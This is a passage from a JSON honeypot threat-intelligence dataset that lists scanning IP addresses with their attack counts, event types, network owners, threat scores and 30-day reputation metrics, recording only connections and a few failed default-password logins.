      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:17:18.690000+00:00",
        "last_seen_30d": "2026-05-14T05:18:34.826000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "47.85.8.171": {
      "attack_count": 6,
      "first_seen": "2026-05-16T01:39:58.266Z",
      "last_seen": "2026-05-23T04:55:04.767Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 43.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 13.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 16,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T12:29:12+00:00",
        "last_seen_30d": "2026-05-28T21:58:49.419000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 6,
        "Honeytrap": 3
      }
    },
    "66.132.172.110": {
      "attack_count": 6,
      "first_seen": "2026-05-16T02:39:30.938Z",
      "last_seen": "2026-05-16T02:40:20.601Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 30,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T14:02:52.066000+00:00",
        "last_seen_30d": "2026-05-31T20:06:05.307000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 127,
        "Honeytrap": 60,
        "ElasticPot": 14,
        "Cowrie": 6,
        "H0neytr4p": 4,
        "Dionaea": 2,
        "ConPot": 1,
        "Dicompot": 1
      }
    },
    "92.119.157.81": {
      "attack_count": 6,
      "first_seen": "2026-05-04T15:38:33.684Z",
      "last_seen": "2026-05-04T15:58:04.080Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:00:25.462000+00:00",
        "last_seen_30d": "2026-05-04T16:47:58.967000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Cowrie": 6
      }
    },
    "103.112.214.117": {
      "attack_count": 4,
      "first_seen": "2026-05-21T19:23:16.076Z",
      "last_seen": "2026-05-22T05:06:05.635Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:23:16.076000+00:00",
        "last_seen_30d": "2026-05-22T05:07:06.494000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "112.113.108.121": {
      "attack_count": 4,
      "first_seen": "2026-05-22T10:14:17.995Z",
      "last_seen": "2026-05-22T10:15:31.459Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:14:17.995000+00:00",
        "last_seen_30d": "2026-05-22T10:16:37.890000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "147.185.132.246": {
      "attack_count": 4,
      "first_seen": "2026-05-02T10:10:11.644Z",
      "last_seen": "2026-05-02T10:10:15.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T10:08:56.820000+00:00",
        "last_seen_30d": "2026-05-31T08:09:05.377000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 32,
        "Mailoney": 5,
        "Cowrie": 4,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "177.131.183.102": {
      "attack_count": 4,
      "first_seen": "2026-05-05T07:58:55.382Z",
      "last_seen": "2026-05-10T21:47:57.219Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Friburgo",
      "asn": 28210,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:58:55.382000+00:00",
        "last_seen_30d": "2026-05-10T21:49:07.181000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "181.13.173.19": {
      "attack_count": 4,
      "first_seen": "2026-05-12T07:45:33.900Z",
      "last_seen": "2026-05-12T07:47:42.515Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Villa Angela",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:45:33.900000+00:00",
        "last_seen_30d": "2026-05-12T07:49:03.676000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "191.58.234.66": {
      "attack_count": 4,
      "first_seen": "2026-05-19T00:28:27.882Z",
      "last_seen": "2026-05-19T01:38:30.679Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:28:27.882000+00:00",
        "last_seen_30d": "2026-05-19T01:39:35.871000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.2": {
      "attack_count": 4,
      "first_seen": "2026-05-08T04:38:17.545Z",
      "last_seen": "2026-05-08T04:38:20.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 11.7,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 14,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T20:12:52+00:00",
        "last_seen_30d": "2026-05-17T04:12:03.611000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Honeyaml": 1
      }
    },
    "205.210.31.138": {
      "attack_count": 4,
      "first_seen": "2026-05-07T22:48:00.632Z",
      "last_seen": "2026-05-07T22:48:04.562Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 12.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 15,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T22:46:01.133000+00:00",
        "last_seen_30d": "2026-05-21T08:08:43.244000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "221.162.135.224": {
      "attack_count": 4,
      "first_seen": "2026-05-05T07:05:49.041Z",
      "last_seen": "2026-05-16T22:03:49.740Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:05:49.041000+00:00",
        "last_seen_30d": "2026-05-16T22:04:54.739000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "45.136.144.203": {
      "attack_count": 4,
      "first_seen": "2026-05-08T10:02:18.265Z",
      "last_seen": "2026-05-28T03:55:45.815Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Usolye-Sibirskoye",
      "asn": 35608,
      "as_org": "R-line 1 LLC",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:02:18.265000+00:00",
        "last_seen_30d": "2026-05-28T03:56:52.151000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "58.50.75.180": {
      "attack_count": 4,
      "first_seen": "2026-05-19T07:20:42.401Z",
      "last_seen": "2026-05-19T07:23:38.355Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:20:42.401000+00:00",
        "last_seen_30d": "2026-05-19T07:24:45.457000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "91.230.168.29": {
      "attack_count": 4,
      "first_seen": "2026-05-19T21:57:15.667Z",
      "last_seen": "2026-05-19T21:57:16.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T10:58:28+00:00",
        "last_seen_30d": "2026-05-31T01:27:17.906000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 32,
        "Cowrie": 4
      }
    },
    "187.102.82.132": {
      "attack_count": 3,
      "first_seen": "2026-05-13T10:46:46.841Z",
      "last_seen": "2026-05-13T10:47:27.031Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Uruguaiana",
      "asn": 53096,
      "as_org": "Bnet Telecomunicacoes Ltda",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:46:46.841000+00:00",
        "last_seen_30d": "2026-05-13T10:48:28.428000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "47.250.10.30": {
      "attack_count": 3,
      "first_seen": "2026-05-17T13:17:10.623Z",
      "last_seen": "2026-05-17T13:18:11.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T04:38:01+00:00",
        "last_seen_30d": "2026-05-17T13:19:15.686000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "102.205.251.242": {
      "attack_count": 2,
      "first_seen": "2026-05-06T01:08:51.360Z",
      "last_seen": "2026-05-06T01:09:04.371Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 329530,
      "as_org": "Savanna_Fibre_Tanzania_Ltd",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:08:51.360000+00:00",
        "last_seen_30d": "2026-05-06T01:10:09.565000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.179.180.16": {
      "attack_count": 2,
      "first_seen": "2026-05-23T07:01:48.787Z",
      "last_seen": "2026-05-23T07:02:26.583Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:01:48.787000+00:00",
        "last_seen_30d": "2026-05-23T07:03:33.652000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.202.143.72": {
      "attack_count": 2,
      "first_seen": "2026-05-22T12:59:01.792Z",
      "last_seen": "2026-05-22T12:59:14.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Tin Shui Wai",
      "asn": 17924,
      "as_org": "SmarTone Mobile Communications Ltd",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:59:01.792000+00:00",
        "last_seen_30d": "2026-05-22T13:00:18.580000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.56.198.201": {
      "attack_count": 2,
      "first_seen": "2026-05-22T08:13:13.106Z",
      "last_seen": "2026-05-22T08:13:28.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T08:13:13.106000+00:00",
        "last_seen_30d": "2026-05-22T08:14:34.494000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.122.149.29": {
      "attack_count": 2,
      "first_seen": "2026-05-18T14:14:48.251Z",
      "last_seen": "2026-05-18T14:15:01.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Janu\u00e1ria",
      "asn": 264337,
      "as_org": "NET COM INFORMATICA LTDA - ME",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T14:14:48.251000+00:00",
        "last_seen_30d": "2026-05-18T14:16:01.726000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.81.121.245": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:24:13.804Z",
      "last_seen": "2026-05-23T11:24:27.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:24:13.804000+00:00",
        "last_seen_30d": "2026-05-23T11:25:28.517000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.113.207.122": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:53:23.621Z",
      "last_seen": "2026-05-23T01:53:57.399Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:53:23.621000+00:00",
        "last_seen_30d": "2026-05-23T01:55:00.011000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "172.173.200.62": {
      "attack_count": 2,
      "first_seen": "2026-05-15T00:26:51.347Z",
      "last_seen": "2026-05-15T00:26:51.348Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T00:26:51.347000+00:00",
        "last_seen_30d": "2026-05-15T00:27:53.337000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.30.23.70": {
      "attack_count": 2,
      "first_seen": "2026-05-08T18:14:10.411Z",
      "last_seen": "2026-05-08T18:14:22.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:14:10.411000+00:00",
        "last_seen_30d": "2026-05-08T18:15:24.852000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.156.210.106": {
      "attack_count": 2,
      "first_seen": "2026-05-18T02:25:48.479Z",
      "last_seen": "2026-05-18T02:26:01.719Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:25:48.479000+00:00",
        "last_seen_30d": "2026-05-18T02:27:09.911000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "184.82.72.41": {
      "attack_count": 2,
      "first_seen": "2026-05-21T15:52:05.463Z",
      "last_seen": "2026-05-21T15:52:17.532Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 11.7,
